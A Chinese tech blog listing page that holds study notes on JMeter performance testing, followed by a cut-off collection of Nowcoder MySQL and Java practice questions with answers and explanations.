首页
壁纸
留言板
友链
更多
统计归档
Search
1
TensorBoard:训练日志及网络结构可视化工具
12,588 阅读
2
主板开机跳线接线图【F_PANEL接线图】
7,033 阅读
3
Linux使用V2Ray 原生客户端
6,149 阅读
4
移动光猫获取超级密码&开启公网ipv6
4,676 阅读
5
NVIDIA 显卡限制功率
3,131 阅读
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
登录
/
注册
Search
标签搜索
好物分享
学习笔记
linux
MySQL
nvidia
typero
内网穿透
webdav
vps
java
cudann
gcc
cuda
树莓派
CNN
图像去雾
ssh安全
nps
暗通道先验
阿里云
jupiter
累计撰写
354
篇文章
累计收到
71
条评论
首页
栏目
好物分享
实用教程
linux使用
wincmd
学习笔记
mysql
java学习
nginx
综合面试题
大数据
网络知识
linux
放码过来
python
javascript
java
opencv
蓝桥杯
leetcode
深度学习
开源模型
相关知识
数据集和工具
模型轻量化
语音识别
计算机视觉
杂七杂八
硬件科普
主机安全
嵌入式设备
其它
bug处理
页面
壁纸
留言板
友链
统计归档
搜索到
78
篇与
的结果
2023-12-30
Jmeter性能测试学习笔记
1.性能测试理论1.1 性能的概念1.1.1 什么是性能对于应用和软件来说,主要包括时间和资源两个维度时间:系统处理用户请求的响应时间资源:系统运行过程中,系统资源的消耗情况1.1.2 什么是性能测试?使用自动化工具,模拟不同的场景,对软件各项性能指标进行测试和评估的过程。1.1.3 性能测试的目的?评估当前系统能力寻找性能瓶颈,优化性能评估软件是否能够满足未来的需要1.2 性能测试和功能测试:1.2.1 功能测试和性能测试有什么不同?功能测试:验证系统的功能需求规格。焦点:功能(正向、逆向)性能测试:验证系统的业务需求场景。焦点:时间、资源1.2.2 功能测试和性能测试有什么关系?一般项目中,先功能测试通过后,后进行性能测试。2 性能测试分类:2.1 基准测试:(1)概念:狭义上讲:就是单用户测试。(单用户循环多次得到的数据)广义上讲:建立基准线,当系统的软硬件环境发生变化之后再进行一次基准测试以确定变化对性能的影响。(2)作用基准测试不会单独存在为多用户并发测试和综合场景测试等提供参考依据为系统/环境配置、系统优化前后的性能提升/下降提供参考指标2.2 负载测试(1)概念:通过逐步增加系统负载,确定在满足系统的性能指标(如响应时间等)情况下,找出系统所能够承受的最大负载量的测试。(2)作用系统最大负载量达到用户要求时,系统才能正式上线使用。案例:电梯行业规范:电梯从1楼到5楼(15m)的运行时间不超过24s进行负载测试:case1: 1人乘坐电梯,从1楼到5楼,运行时间为20scase2:7人乘坐电梯,从1楼到5楼,运行时间为20scase3: 13人乘坐电梯,从1楼到5楼,运行时间为20s--->[最大负载量]case4: 16人乘坐电梯,从1楼到5楼,运行时间为25sCase5: 19人乘坐电梯,从1楼到5楼,运行时间为28sCase6: 21人乘坐电梯,从1楼到5楼,运行过程中绳子断了。。。注意:通过负载测试,可以确定系统的最大负载量和极限负载量系统对外宣称的最大负载量负载测试的时间一般为1-2小时2.3 稳定性测试:(1)概念在服务器稳定运行(用户正常的业务负载下)的情况下进行长时间测试(1天-1周等),并最终保证服务器能满足线上业务需求。(2)作用系统在用户要求的业务负载下运行达到规定的时间时,系统才能正式上线使用。2.4 其它分类-压力测试背景:1、软件实际使用时,用户量超过预期(系统最大负载量),该如何反应?2、软件由于意外情况出现问题,多久能恢复?(1)概念:在强负载下的测试,查看系统在峰值情况下是否功能隐患、系统是否具有良好的容错能力和可恢复能力。(2)测试场景极限负载情况下的破坏性压力测试。高负载下的长时间的稳定性压力测试。2.5 其它分类-压力并发测试:(1)概念:并发测试(绝对并发):是指在极短的时间内,发送多个请求,来验证服务器对并发的处理能力。(2)应用场景特定活动场景,如:抢红包、秒杀、抢购等。生活中的案例:悬赏任务:做菜一西红柿炒鸡蛋(但是只有一个鸡蛋和一个西红柿)(3)与负载测试对比:负载测试:主要目的是测试高负载情况下,对系统资源的消耗,是否会耗尽的问题(双11活动)并发测试:主要目的是测试极短时间内,并发请求时,系统资源争抢的问题(抢红包、秒杀)3 性能测试的指标3.1 响应时间:指从客户端发起请求开始,到客户端接收到结果的总时间包括:服务器处理时间 + 网络传输时间3.2 并发用户数:某一时刻同时向服务器发送请求的用户数案例:淘宝系统案例—哪个是并发数?3.3 吞吐量:吞吐量(Throughput):指的是单位时间内处理的客户端请求数量,直接体现软件系统的性能承载能力。从业务角度来看单位:“业务数/小时”、“业务数/天”、“访问人数/天”、“页面访问量/天”从网络角度来看单位:“字节数/小时”、“字节数/天”从技术角度来看单位:每秒事务数(TPS)、每秒查询数(QPS)QPS:QPS(Query Per Second)每秒查询数:即控制服务器每秒处理的指定请求的数量TPS:TPS(Transactions Per Second)每秒事务数:即控制服务器每秒处理的事务请求的数量事务:即业务,页面上的一次操作,可能对应一个请求/多个请求。3.4 点击数:所有的页面元素(如:图片、链接、框架等)的请求总数量.注意:点击数是请求数,不是页面上的一次点击3.5 错误率:指系统在负载情况下,失败业务的概率注意:错误率是性能指标,是高负载下的失败业务的概率随机bug是功能bug,先解决随机bug才能进行性能测试3.6 资源利用率:(1)什么是资源利用率?系统各种资源的使用情况,“资源的使用量/总的资源可用量×100%”(2)常见资源指标有哪些?CPU使用率:不高于75%-85%内存(大小)使用率:不高于80%磁盘IO(速率):不高于90%网络(速率):不高于80%4.性能测试的流程性能测试的核心:需求分析、性能测试执行、性能分析调优4.1 需求分析4.2 性能测试计划和方案测什么项目背景测试目的测试范围谁来测进度与分工交付清单怎么测测试策略4.3 编写性能测试用例用例模板:4.4 性能测试执行4.5 性能分析和调优性能测试分析人员经过对结果的分析以后,如果不符合性能需求,则会提出性能bug,然后由开发人员进行后续的调优。提示:调优-开发人员为主导,数据库管理员、系统管理员、网络管理员、性能测试分析人员配合进行验证-性能测试人员继续进行第二轮、第三轮.的测试,与以前的测试结果进行对比,从而确定经过调整以后系统的性能是否有提升4.6 性能测试报告总结测试报告是对性能测试工作的总结,为软件后续验收和交付打下基础。测试报告的主要内容:测试工作的经过回顾缺陷分析和调优风险评估性能测试结果测试工作总结与改进5.性能测试工具介绍5.1 Loadrunner简介HP Loadrunner是一种工业级标准性能测试负载工具,可以模拟上万用户实施测试,并在测试时可实时检测应用服务器及服务器硬件各种数据,来确认和查找存在的瓶颈支持多协议:Web(HTTP/HTML)、Windows Sockets、FTP、ODBC、MS SQL Server等协议采用c语言编写优点1.多用户(支持用户以万为单位)2.详细的分析报表(以秒为单位)3.支持IP欺骗功能缺点:1.收费2.体积庞大(安装包单位GB)3.无法定制功能5.2 JMeterJMeter是Apache组织开发的基于Java的开源软件,用于对系统做功能测试和性能测试。它最初被设计用于web应用测试,但后来扩展到其他测试领域,例如静态文件、Java程序、shell脚本、数据库、FTP、 Mail等。优点:1.开源免费2.小巧(安装包50MB左右)3.丰富的学习资料和扩展组件缺点:1.不支持IP欺骗2.分析和报表能力相对于LR欠缺精度(以分钟为单位)5.3 对比相同点1.都能模拟大量用户2.都能支持多协议(常见的协议都支持,如:HTTP)3.都有监控及分析报表功能不同点结论:项目日常性能测试Jmeter足够用,出商业报告优先Loadrunner6.JMeter安装和基本使用6.1 JMeter安装安装JDK安装 JMeter下载JMeterjmeter是免安装的,下载解压配置环境变量即可使用。官网下载地址:http://jmeter.apache.org/download_jmeter.cgi环境配置(可不配)jdk1.8环境配置:Java -version 查看jdk版本。jmeter环境配置(不配置不影响)1)桌面上选择“我的电脑”(右键),高级, 环境变量, 在“系统变量”—>“新建”, 在变量名中输:JMETER_HOME,变量值中输入:D:\apache-jmeter-2.112)再修改CLASSPATH变量,变量值中添加%JMETER_HOME%\lib\ext\ApacheJMeter_core.jar;% JMETER_HOME%\lib\jorphan.jar;%JMETER_HOME%\lib\logkit-1.2.jar; 然后确定即可。Jmeter启动三种方式:进入JMeter安装目录下的bin目录1、双击 jmeter.bat2、双击ApacheJMeter.jar3、命令行输入:java-jar ApacheJMeter.jar启动效果6.2 JMeter常用目录介绍和汉化设置6.2.1 常用文件目录介绍Bin目录:存放可执行文件和配置文件docs目录:是JMeter的api文档,用于开发扩展组件printable_docs目录:用户帮助手册lib目录:存放JMeter依赖的jar包和用户扩展所依赖的jar包6.2.2 JMeter界面的汉化临时性:启动JMeter->选择菜单、Options'->Choose Language->Chinese(Simplified)永久性 — 修改配置文件:1.找到jMeter安装目录下的bin目录2.打开jmeter.properties文件,把第37行修改为"language=zh_CN"3.重启JMeter即可7.JMeter原件和组件介绍7.1 元件的基本介绍元件:多个类似功能组件的容器(类似于类)如上图所示,主要包括:1.取样器:发送请求2.逻辑控制器:控制语句的执行顺序3.前置处理器:对请求参数进行预处理4.后置处理器:对响应结果进行提取5.断言:检查接口的返回结果是否与预期结果一致6.定时器:设置等待7.测试片段:封装一段代码,供其他脚本调用8.配置元件:测试数据的初始化配置7.2 组件的基本介绍组件:实现独立的某个功能(类似于方法)例如:取样器的组件7.3 小结如下接口自动化脚本的实现过程对应着Jmeter哪个元件?元件与组件有什么关系?元件:多个类似功能组件的容器(类似于类)组件:容器中实现独立的某个功能(类似于方法)7.4 Jmeter元件作用域和执行顺序元件的作用域:是靠测试计划的树形结构中元件的父子关系来确定的。提示:所有的组件都是以取样器为核心来运行的。组件添加的位置不同,生效的取样器也不同作用域的原则:取样器:核心,不和其他元件相互作用,没有作用域。逻辑控制器:只对其子节点中的取样器和逻辑控制器起作用。其他元件:如果是某个取样器的子节点,则该元件只对其父节点起作用。如果其父节点不是取样器,则其作用域是该元件父节点下的其他所有后代节点(包括子节点,子节点的子节点等)。元件的执行顺序同一个作用域下不同类型元件:1.配置元件(config elements)2.前置处理程序(Per-processors)3.定时器(timers)4.取样器(Sampler)5.后置处理程序(Post-processors)6.断言(Assertions)7.监听器(Listeners)同一个作用域下多个相同类型元件:按照在测试计划中从上到下的顺序依次执行执行顺序样例正确:定时器1-请求1-定时器1-定时器2-请求2-定时器1-定时器3-请求38.Jmeter第一个案例需求:使用JMeter访问百度首页接口,并查看请求和响应信息步骤:1.启动JMeter2.在测试计划下添加线程组3.在线程组,下添加HTTP请求取样器4.填写HTTP请求的相关请求数据5·在线程组下添加查看结果树监听器6.点启动按钮运行,并查看结果9.Jmeter三个重要组件(重点)9.1 线程组作用:线程组就是控制Jmeter用于执行测试的一组用户位置:右键点击、测试计划'-->添加-->线程(用户)-->线程组特点:模拟多人操作线程组可以添加多个,多个线程组可以并行或串行取样器(请求)和逻辑控制器必须依赖线程组才能使用线程组下可以添加其他元件下组件线程组分类:普通线程组:普通的、常用的线程组,可以看做一个虚拟用户组,线程组中的每一个线程都可以理解为一个虚拟用户setUp线程组:一种特殊类型的线程组,可用于执行预测试操作tearDown线程组:一种特殊类型的线程组,可用于执行测试后工作线程组的属性:练习:如下场景如何设置线程组?模拟10个用户并行执行:----线程数模拟10个用户5s内启动完成:----线程数10,ramp-up时间:5s模拟2个用户各循环3次:----线程数:2,循环次数:3模拟2个用户运行30s:----线程数:2,循环:永远,持续时间:30s模拟2个用户等待10s后开始执行:----在上一个的基础上,增加延迟启动时间:10s9.2 HTTP请求作用:向服务器发送http及https请求位置:选中线程组->右键->添加->取样器->HTTP请求参数:案例:案例一:GET请求,URL为http://www.baidu.com/S?wd=test要求:使用HTTP请求-路径来传递get请求参数案例二:GET请求,URL为https://www.baidu.com/S?wd=test要求:使用HTTP请求-参数列表来传递get请求的参数案例三:PosT请求,URL为https://www.baidu.com/S,请求体为:wd=test(form表单)要求:使用HTTP请求-参数列表来传递POST请求的form格式参数案例四:POST请求,URL为http://www.baidu.com/s,请求体为:wd=test(form表单)要求:使用HTTP请求-消息体数据来传递POST请求的form格式参数9.3 查看结果树作用:查看HTTP请求的请求和响应结果位置:选中测试计划/线程组->右键->添加->监听器->察看结果树组成:取样结果:查看响应信息头信息、响应状态码请求:查看请求相关信息(url、方法、参数)响应:查看响应信息10.Jmeter参数化定义:使用不同的测试数据,调用相同的测试方法进行测试本质:实现测试数据与测试方法的分离。JMeter中常见的参数化方式用户定义的变量——全局变量用户参数——为每个用户分配不同的参数值CSV数据文件设置——文件方式参数化函数——随机数据数据库全局变量步骤:1.添加线程组2.添加用户定义的变量。格式:变量名-变量值3.添加HTTP请求,引用定义的变量名。格式: ${变量名}4.添加查看结果树用户参数-[在线程组配置]作用:针对同一组参数,当不同的用户来访问时,可以获取到不同的值步骤:添加线程组,设置线程数为n(表示模拟的用户数)添加用户参数第一列添加多个变量含后续每一列为一组用户的数据3.添加HTTP请求用定义的变量名。格式: ${变量名}4.添加查看结果树CSV数据文件设置作用:当不同的用户,或者同一个用户多次循环时,都可以获取到不同的值位置:测试计划-->线程组--> 配置元件--> CSV 数据文件设置步骤:1.定义csv数据文件user01,123456,0000 user02, 123456, 1111 user03, 123456, 22222.添加线程组3.添加csv数据文件设置4.添加HTTP请求,引用定义的变量名。格式: ${变量名}5.添加查看结果树函数(案例:_counter函数)为什么要使用函数参数化?性能测试时,如果模拟1000个用户,每个用户循环执行10万次添加商品操作,请求参数要求不同,该怎么做?作用:计数函数,一般做执行次数统计使用位置:在菜单中选择-->选项-->函数助手对话框设置:TRUE,每个用户有自己的计数器;FALSE,使用全局计数器Name of variable in which to store the result(optional):用于存储结果的变量名(可选)操作步骤:1.添加线程组,设置虚拟用户数和循环次数2.生成_counter函数3.添加HTTP请求,使__counter函数4添加查看结果树4种参数化方式有何不同?如何选择适当的方式?用户定义的变量:-作用:定义全局变量-局限性:每次取值(无论是否相同的用户)都是固定值用户参数:-作用:保证不同的用户针对同一组参数,可以取到不同的值-局限性:同一个用户在多次循环时,取到相同的值csv数据文件设置:-作用:保证不同的用户及同一用户多次循环时,都可以取到不同的值-局限性:需要手动进行测试数据的设置函数:-作用:保证不同的用户及多次循环时,都可以取到。的值,不需要提前设置-局限性:输入数据有特定的业务要求时无法使用(如:登录时的用户名密码)参考资料黑马程序员性能测试全套教程,4天快速入门性能测试+项目商城实战JMeter安装教程
2023年12月30日
91 阅读
0 评论
0 点赞
2023-12-30
牛客刷题笔记
mysql1.MySQL的NULL值处理方法在MySQL中不能使用 = NULL 或 != NULL 等比较运算符在列中查找 NULL 值 。要用IS NULL 或 IS NOT NULL才会进行NULL值或非NULL值得查找。2.从一张表中选取数据插入到另一张表中INSERT INTO 语句用于向一张表中插入新的行。SELECT INTO 语句从一张表中选取数据插入到另一张表中。常用于创建表的备份复件或者用于对记录进行存档。3.关系代数运算中的集合运算符和关系运算符4.having必须跟在group By后面having必须跟在group By后面,不然会报错In aggregated query without GROUP BY, expression #1 of SELECT list contains nonaggregated column 'db_sql.course_sku_publish_record.id'; this is incompatible with sql_mode=only_full_group_by ... 展开5.关于mysql的insert语句insert字段名顺序与字段值顺序一致即可,可以给部分或所有字段名加``。Mysql中表student_info(id,name,birth,sex),字段类型都是varchar,插入:1018 , 赵六 , 2003-08-02 , 男;SQL正确的是()?A insert overwrite student_info values('1018' , '赵六' , '2003-08-02' , '男');B insert into student_info values(1018 , '赵六' , '2003-08-02' , '男');C insert into student_info(birth,id,name,sex) values('2003-08-02' ,'1018' , '赵六' , '男');D insert into student_info value('1018' , '赵六' , '2003-08-02' , '男');正确答案:C你的答案:D官方解析:A执行报错,插入时是insert into不是insert overwrite;B执行报错,id是varchar类型,插入的1018需要加上单引号;D执行报错,插入时是values不是value;所以C正确,字段名顺序与字段值顺序一致即可,可以给部分或所有字段名加``。知识点:数据库、SQL6.MySQL中ALTER TABLE命令的用法MySQL中ALTER TABLE命令可以修改数据表的表名或数据表的字段。但是接不同后缀意义不同,比如:要修改表名或索引名时,可以用RENAME函数;当然RENAME也可以更改列名,但是后面要加TO,且它只会更改列的名字,并不更改定义。要修改字段定义和名称,可以用MODIFY或CHANGE函数。但是MODIFY只改字段定义,不改名字;CHANGE是两个都可以修改。要修改字段默认值,可以用ALTER 字段名 SET DEFULT 更改值。1.要将employee 的表名更改为 employee_info,下面MySQL语句正确的是:A ALTER TABLE employee RENAME employee_info;B ALTER TABLE employee MODIFY employee_info;C ALTER TABLE employee ALTER employee_info;D ALTER TABLE employee CHANGE employee_info;正确答案:A你的答案:B官方解析:本题考察知识点:MySQL中ALTER TABLE命令的用法MySQL中ALTER TABLE命令可以修改数据表的表名或数据表的字段。但是接不同后缀意义不同,比如:要修改表名或索引名时,可以用RENAME函数;当然RENAME也可以更改列名,但是后面要加TO,且它只会更改列的名字,并不更改定义。要修改字段定义和名称,可以用MODIFY或CHANGE函数。但是MODIFY只改字段定义,不改名字;CHANGE是两个都可以修改。要修改字段默认值,可以用ALTER 字段名 SET DEFULT 更改值。所以根据题意,要修改表名,只能用RENAME函数,因此A正确;BCD则分别是修改字段的方法。知识点:数据库、SQL7.MySql修改表名的两种方法rename table 旧表名 to 新表名; alter table 旧表名 rename [as] 新表名8.MySQL中ALTER TABLE修改字段用法-- 新增字段 ALTER TABLE 表名 ADD COLUMN 字段名 字段类型; -- 在name字段后面新增一个age列 ALTER TABLE tuser ADD COLUMN age int(11) DEFAULT NULL COMMENT '年龄' AFTER name; # AFTER:在某字段后, BEFOR:在某字段之前 -- 在表后追加一列 ALTER TABLE tuser ADD COLUMN age int(11) DEFAULT NULL COMMENT '年龄'; -- 修改字段 ALTER TABLE tuser CHANGE name user_name varchar(32) DEFAULT NULL COMMENT '姓名'; # ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型; -- 修改字段类型 ALTER TABLE tuser MODIFY name varchar(32) DEFAULT NULL COMMENT '姓名'; # ALTER TABLE 表名 MODIFY 字段名 数据类型; -- 删除字段 ALTER TABLE tuser DROP name; # ALTER TABLE 表名 DROP 字段名;9.多表删除时,delete和from之间必须要写明想要删除记录的表名。Mysql中表student_table(id,name,birth,sex),删除name重复的id最大的记录,比如'张三'重复2次,id分别是1、2,则删除id=2的记录,保留id=1的记录。如下SQL正确的是()?A delete from student_table where id in (select t2.*from(select name,count(*) as c1 from student_table GROUP BY name having c1 > 1)t1left join(select name, max(id) as id from student_table group by name ) t2on t1.name = t2.name ) ;B delete from student_table t0inner join (select t2.*from(select name,count(*) as c1 from student_table GROUP BY name having c1 > 1)t1left join(select name, max(id) as id from student_table group by name ) t2on t1.name = t2.name ) t3on t0.id = t3.id ;C delete t0from student_table t0inner join (select t2.*from(select name,count(*) as c1 from student_table GROUP BY name having c1 > 1)t1left join(select name, max(id) as id from student_table group by name ) t2on t1.name = t2.name ) t3on t0.id = t3.id ;D delete student_tablefrom student_table t0inner join (select t2.*from(select name,count(*) as c1 from student_table GROUP BY name having c1 > 1)t1left join(select name, max(id) as id from student_table group by name ) t2on t1.name = t2.name ) t3on t0.id = t3.id ;10.COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)而COUNT(*) 函数才返回表中的记录数11.MySQL添加用户、删除用户、授权及撤销权限创建用户 insert into mysql.user(Host,User,Password) values("localhost","test",password("1234"));这样就创建了一个名为:test 密码为:1234 的用户。注意:==此处的"localhost",是指该用户只能在本地登录,不能在另外一台机器上远程登录。如果想远程登录的话,将"localhost"改为"%",表示在任何一台电脑上都可以登录。也可以指定某台机器(例如192.168.1.10),或某个网段(例如192.168.1.%)可以远程登录。==为用户授权:授权格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by "密码"; 首先为用户创建一个数据库(testDB):mysql>create database testDB;授权test用户拥有testDB数据库的所有权限(某个数据库的所有权限):mysql>grant all privileges on testDB.* to test@localhost identified by '1234'; mysql>flush privileges;//刷新系统权限表,即时生效如果想指定某库的部分权限给某用户本地操作,可以这样来写:mysql>grant select,update on testDB.* to test@localhost identified by '1234'; mysql>flush privileges; 常用的权限有select,insert,update,delete,alter,create,drop等。可以查看mysql可授予用户的执行权限了解更多内容。2.4 授权test用户拥有所有数据库的某些权限的远程操作: mysql>grant select,delete,update,create,drop on *.* to test@"%" identified by "1234"; #test用户对所有数据库都有select,delete,update,create,drop 权限。2.5 查看用户所授予的权限:mysql> show grants for test@localhost;撤销已经赋予用户的权限:revoke 跟 grant 的语法差不多,只需要把关键字 “to” 换成 “from” 即可:mysql>grant all on *.* to dba@localhost; mysql>revoke all on *.* from dba@localhost;12.drop、trustcate、delete1:处理效率:drop>trustcate>delete2:删除范围:drop删除整个表(结构和数据一起删除);trustcate删除全部记录,但不删除表结构;delete只删除数据3:高水位线:delete不影响自增ID值,高水线保持原位置不动;trustcate会将高水线复位,自增ID变为1。13.mysql select 字段重命名as可以做重命名,不过也可以省略as,空格隔开新名称即可。14.mysql设置外键todo2.java1.java中接口、接口属性、接口方法的修饰符合java接口的修饰符:abstract(默认不写。interface本身就是抽象的,加不加abstract都一样)接口中字段的修饰符:public static final(默认不写) 接口中方法的修饰符:public abstract(默认不写)2.java中的数组创建形式声明的二维数组中第一个中括号中必须要有值,它代表的是在该二维数组中有多少个一维数组。 下面哪个语句是创建数组的正确语句?( )A float f[][] = new float[6][6];B float []f[] = new float[6][6];C float f[][] = new float[][6];D float [][]f = new float[6][6];E float [][]f = new float[6][];正确答案:ABDE3.关于java继承在java中,下列对继承的说法,正确的是( )A 子类能继承父类的所有成员B 子类继承父类的非私有方法和状态C 子类只能继承父类的public方法和状态D 子类只能继承父类的方法正确答案:A官方解析:Constructors, static initializers, and instance initializers are not members andtherefore are not inherited.(构造器、静态初始化块、实例初始化块不继承)4.java线程的start()和run()的区别t.run直接执行代码,按顺序打印代码; t.start是另起线程,与当前线程同时竞争cpu资源,结果存在不确定性下面程序的运行结果是:( )public static void main(String args[]) { Thread t = new Thread() { public void run() { pong(); } }; t.run(); System.out.print("ping"); } static void pong() { System.out.print("pong"); }A pingpongB pongpingC pingpong和pongping都有可能D 都不输出E pongF ping5.java集合体系判断对错。List,Set,Map都继承自继承Collection接口。A 对B错正确答案:B你的答案:A参考答案:答案:B List,Set等集合对象都继承自Collection接口 Map是一个顶层结果,不继承自Collection接口6.this不能在static的方法中使用已知有下列Test类的说明,在该类的main方法的横线处,则下列哪个语句是正确的?()public class Test { private float f = 1.0f; int m = 12; static int n = 1; public static void main (String args[]) { Test t = new Test(); ———————— } }A t.f = 1;B this.n = 1;C Test.m = 1;D Test.f = 1;正确答案:A你的答案:BA的答案中变量虽然为private,但因为main函数在该类中,所以即使private也仍可使用,B的答案static变量不能使用this7.Java中的byte,short,char进行计算时都会提升为int类型。代码片段:byte b1=1,b2=2,b3,b6; final byte b4=4,b5=6; b6=b4+b5; b3=(b1+b2); System.out.println(b3+b6);关于上面代码片段叙述正确的是()A 输出结果:13B 语句:b6=b4+b5编译出错C 语句:b3=b1+b2编译出错D 运行期抛出异常正确答案:C你的答案:A参考答案:C. 被final修饰的变量是常量,这里的b6=b4+b5可以看成是b6=10;在编译时就已经变为b6=10了 而b1和b2是byte类型,java中进行计算时候将他们提升为int类型,再进行计算,b1+b2计算后已经是int类型,赋值给b3,b3是byte类型,类型不匹配,编译不会通过,需要进行强制转换。 Java中的byte,short,char进行计算时都会提升为int类型。8.boolean 类型不能转换成任何其它数据类型。Java中可以将布尔值与整数进行比较吗 ?A 可以B 不可以正确答案:B你的答案:A官方解析:boolean 类型不能转换成任何其它数据类型。9.java中的char是两个字节执行如下程序代码char chr = 127; int sum = 200; chr += 1; sum += chr;后,sum的值是()备注:同时考虑c/c++和Java的情况的话A 72B 99C 328D 327正确答案:AC你的答案:Ajava中只有byte, boolean是一个字节, char是两个字节, 所以对于java来说127不会发生溢出, 输出328 但是对于c/c++语言来说, char是一个字节, 会发生溢出, 对127加一发生溢出, 0111 1111 --> 1000 0000, 1000 0000为补码-128, 所以结果为200-128=7210.java中Object类的方法有哪些?equals(Object obj): 该方法用于比较当前对象与参数对象是否相等。hashCode(): 该方法返回该对象的哈希码值。toString(): 该方法返回该对象的字符串表示。clone(): 该方法创建并返回该对象的副本。finalize(): 该方法是垃圾回收器在对该对象进行清理之前调用的方法。getClass(): 该方法返回表示此对象的运行时类(包含该对象的类的对象)的Class对象。wait(long timeout): 该方法使当前线程等待,直到另一个线程调用该对象的notify()或notifyAll()方法,或者经过指定的时间量。wait(long timeout, int nanos): 该方法使当前线程等待,直到另一个线程调用该对象的notify()或notifyAll()方法,或者经过指定的时间量和纳秒数。notify(): 该方法唤醒正在等待该对象监视器的单个线程(如果没有线程在等待,则抛出IllegalMonitorStateException异常)。notifyAll(): 该方法唤醒正在等待该对象监视器的所有线程。在JAVA中,下列哪些是Object类的方法()A synchronized()B wait()C notify()D notifyAll()E sleep()正确答案:BCD你的答案:BCDE参考答案:A synchronized Java语言的关键字,当它用来修饰一个方法或者一个代码块的时候,能够保证在同一时刻最多只有一个线程执行该段代码。 B C D 都是Object类中的方法 notify(): 是唤醒一个正在等待该对象的线程。 notifyAll(): 唤醒所有正在等待该对象的线程。 E sleep 是Thread类中的方法 wait 和 sleep的区别: wait指线程处于进入等待状态,形象地说明为“等待使用CPU”,此时线程不占用任何资源,不增加时间限制。 sleep指线程被调用时,占着CPU不工作,形象地说明为“占着CPU睡觉”,此时,系统的CPU部分资源被占用,其他线程无法进入,会增加时间限制。11.java中整数类型 默认为 int 带小数的默认为 double在基本JAVA类型中,如果不明确指定,整数型的默认是什么类型?带小数的默认是什么类型?A int floatB int doubleC long floatD long double正确答案:B你的答案:A参考答案:整数类型 默认为 int 带小数的默认为 double12.java访问控制修饰符default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。private : 在同一类内可见。使用对象:变量、方法。 注意:不能修饰类(外部类)public : 对所有类可见。使用对象:类、接口、变量、方法protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。 注意:不能修饰类(外部类)。我们可以通过以下表来说明访问权限:修饰符当前类同一包内子孙类(同一包)子孙类(不同包)其他包publicYYYYYprotectedYYYY/N(说明)NdefaultYYYNNprivateYNNNN13.java中创建线程的方法实现Runnable接口:这是最常用的方法。创建一个实现了Runnable接口的类,然后实现run()方法。这个run()方法将包含线程应该运行的代码。然后,创建一个Thread对象,并将Runnable对象作为参数传递给Thread的构造函数。最后,调用Thread对象的start()方法来启动线程。继承Thread类:这是另一种创建线程的方法,但是通常不推荐使用,因为Java不支持多重继承。创建一个继承了Thread类的类,然后重写run()方法。然后,创建一个Thread对象,并调用start()方法来启动线程。使用Callable和Future:这是一种更现代的方法,主要用于并发编程。Callable接口与Runnable接口类似,但Callable可以返回结果并且可以抛出异常。Future接口代表异步计算的结果。通过使用ExecutorService,你可以执行Callable任务并获取Future对象,然后使用Future对象的get()方法获取结果。14.jvm内存:堆区栈区存储下列Java代码中的变量a、b、c分别在内存的____存储区存放。class A { private String a = “aa”; public boolean methodB() { String b = “bb”; final String c = “cc”; } }A 堆区、堆区、堆区B 堆区、栈区、堆区C 堆区、栈区、栈区D 堆区、堆区、栈区E 静态区、栈区、堆区F 静态区、栈区、栈区正确答案:C你的答案:F参考答案:答案是C a是类中的成员变量,存放在堆区 b、c都是方法中的局部变量,存放在栈区15.java流体系16.java异常体系17.java类加载过程Java类加载过程是Java虚拟机(JVM)运行时将类文件加载到内存中的过程。这个过程可以分为三个阶段:加载、链接(验证、准备、解析)和初始化。加载:这是类加载过程的第一个阶段,主要任务是加载类。JVM通过类的全限定名来获取定义此类的二进制字节流。这个过程主要通过以下几种方式完成:通过类路径(Classpath)查找类文件(.class文件)。从JAR或ZIP文件中读取,这些文件可能被放在类路径中。从网络或其他源动态加载。通过Java反射机制从已加载的类中生成。链接:这个阶段是验证、准备和解析阶段,主要任务是确保被加载的类文件的正确性,为类的静态变量分配内存并设置初始值,以及解析符号引用。验证:确保被加载的类文件的正确性,没有安全方面的隐患。准备:为类的静态变量分配内存,并设置默认的初始值。解析:将符号引用转换为直接引用。符号引用是在编译时生成的,包含了被引用的类的全限定名;而直接引用可以直接指向数据。初始化:这是类加载过程的最后一个阶段,主要任务是执行类构造器方法<clinit>()。这个方法是由编译器自动收集类中的所有类变量的赋值动作和静态代码块(但不执行其中的方法)组成的。JVM会创建Class对象,并执行<clinit>()方法。注意,类加载器在执行完这三个阶段后,会为这个类生成一个Class对象,这个Class对象在JVM中表示这个类的类型信息。每个Class对象都对应于Java虚拟机中的元空间的一个类或接口的符号引用。此外,Java类加载器有三种:启动类加载器(Bootstrap Class Loader):负责加载核心类库,如 rt.jar、resources.jar、charsets.jar等,它是其他所有类加载器的父类加载器。由于该类加载器负责加载的是核心类库,所以它是不负责扩展类的加载的。扩展类加载器(Extension Class Loader):该类加载器负责加载JRE的扩展目录(java.ext.dirs系统属性或者java.library.path)中的类库,它是ExtensionClassLoader的父类加载器。由于该类加载器是ClassLoader中的sun.misc.Launcher$ExtClassLoader的默认实现,所以一般情况下我们不需要直接使用扩展类加载器。系统类加载器(System Class Loader):也被称为应用程序类加载器(Application Class Loader),它负责在应用程序的classpath中查找并加载类。它是ClassLoader中的sun.misc.Launcher$AppClassLoader的默认实现,也是我们最常直接使用的类加载器。以下哪项不属于java类加载过程?A 生成java.lang.Class对象B nt类型对象成员变量赋予默认值C 执行static块代码D 类方法解析正确答案:B你的答案:D参考答案:不应该选D,而应该选B 类的加载包括:加载,验证,准备,解析,初始化。 选项A:生成java.lang.Class对象是在加载时进行的。生成Class对象作为方法区这个类的各种数据的访问入口。 选项B:既然是对象成员,那么肯定在实例化对象后才有。在类加载的时候会赋予初值的是类变量,而非对象成员。 选项C:这个会调用。可以用反射试验。 选项D:类方法解析发生在解析过程。18. sleep、wait、yield、join区别sleepsleep 方法是属于 Thread 类中的,sleep 过程中线程不会释放锁,只会阻塞线程,让出cpu给其他线程,但是他的监控状态依然保持着,当指定的时间到了又会自动恢复运行状态,可中断,sleep 给其他线程运行机会时不考虑线程的优先级,因此会给低优先级的线程以运行的机会waitwait 方法是属于 Object 类中的,wait 